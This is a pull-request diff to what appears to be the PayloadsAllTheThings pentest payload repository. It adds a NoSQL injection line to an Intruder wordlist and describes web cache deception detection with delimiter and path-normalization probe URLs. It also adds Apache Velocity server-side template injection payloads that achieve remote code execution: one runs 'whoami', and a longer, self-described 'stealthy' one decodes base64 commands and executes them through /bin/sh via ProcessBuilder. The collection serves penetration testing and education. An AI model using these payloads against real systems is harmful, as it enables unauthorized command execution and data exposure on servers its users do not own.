[pull] master from swisskyrepo:master

NoSQL Injection/Intruder/NoSQL.txt

@@ -22,4 +22,5 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
 ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
 ';return 'a'=='a' && ''=='
 ";return(true);var xyz='a
-0;return true
+0;return true
+{"&exists":false}

Server Side Template Injection/Java.md

@@ -211,9 +211,11 @@ New version of Pebble :
 
 [Official website](https://velocity.apache.org/engine/1.7/user-guide.html)
 
-> Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.
+> Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates.
 
-```python
+In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result:
+
+```java
 #set($str=$class.inspect("java.lang.String").type)
 #set($chr=$class.inspect("java.lang.Character").type)
 #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
@@ -224,6 +226,39 @@ $str.valueOf($chr.toChars($out.read()))
 #end
 ```
 
+A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as `echo "a" > /tmp/a`. Below is an example with `whoami` in base64:
+
+```java
+#set($base64EncodedCommand = 'd2hvYW1p')
+
+#set($contextObjectClass = $knownContextObject.getClass())
+
+#set($Base64Class = $contextObjectClass.forName("java.util.Base64"))
+#set($Base64Decoder = $Base64Class.getMethod("getDecoder").invoke(null))
+#set($decodedBytes = $Base64Decoder.decode($base64EncodedCommand))
+
+#set($StringClass = $contextObjectClass.forName("java.lang.String"))
+#set($command = $StringClass.getConstructor($contextObjectClass.forName("[B"), $contextObjectClass.forName("java.lang.String")).newInstance($decodedBytes, "UTF-8"))
+
+#set($commandArgs = ["/bin/sh", "-c", $command])
+
+#set($ProcessBuilderClass = $contextObjectClass.forName("java.lang.ProcessBuilder"))
+#set($processBuilder = $ProcessBuilderClass.getConstructor($contextObjectClass.forName("java.util.List")).newInstance($commandArgs))
+#set($processBuilder = $processBuilder.redirectErrorStream(true))
+#set($process = $processBuilder.start())
+#set($exitCode = $process.waitFor())
+
+#set($inputStream = $process.getInputStream())
+#set($ScannerClass = $contextObjectClass.forName("java.util.Scanner"))
+#set($scanner = $ScannerClass.getConstructor($contextObjectClass.forName("java.io.InputStream")).newInstance($inputStream))
+#set($scannerDelimiter = $scanner.useDelimiter("\\A"))
+
+#if($scanner.hasNext())
+  #set($output = $scanner.next().trim())
+  $output.replaceAll("\\s+$", "").replaceAll("^\\s+", "")
+#end
+```
+
 ---
 
 ## Groovy

Web Cache Deception/README.md

@@ -90,6 +90,19 @@ The following URL format are a good starting point to check for "cache" feature.
 * `https://example.com/app/conversation/;.js`
 * `https://example.com/home.php/non-existent.css`
 
+## Detecting Web Cache Deception
+
+1. Detecting delimiter discrepancies: `/path/<dynamic-resource>;<static-resource>`
+   * For example: `/settings/profile;script.js`
+   * If the origin server uses `;` as a delimiter but the cache isn't
+   * The cache interprets the path as: `/settings/profile;script.js`
+   * The origin server interprets the path as: `/settings/profile`
+   * For more delimiter characters: see [Web cache deception lab delimiter list](https://portswigger.net/web-security/web-cache-deception/wcd-lab-delimiter-list)
+2. Detecting normalization: `/wcd/..%2fprofile`
+   * If the origin server resolved the path traversal sequence but the cache isn't
+   * The cache interprets the path as: `/wcd/..%2fprofile`
+   * The origin server interprets the path as: `/profile`
+
 ## CloudFlare Caching
 
 CloudFlare caches the resource when the `Cache-Control` header is set to `public` and `max-age` is greater than 0.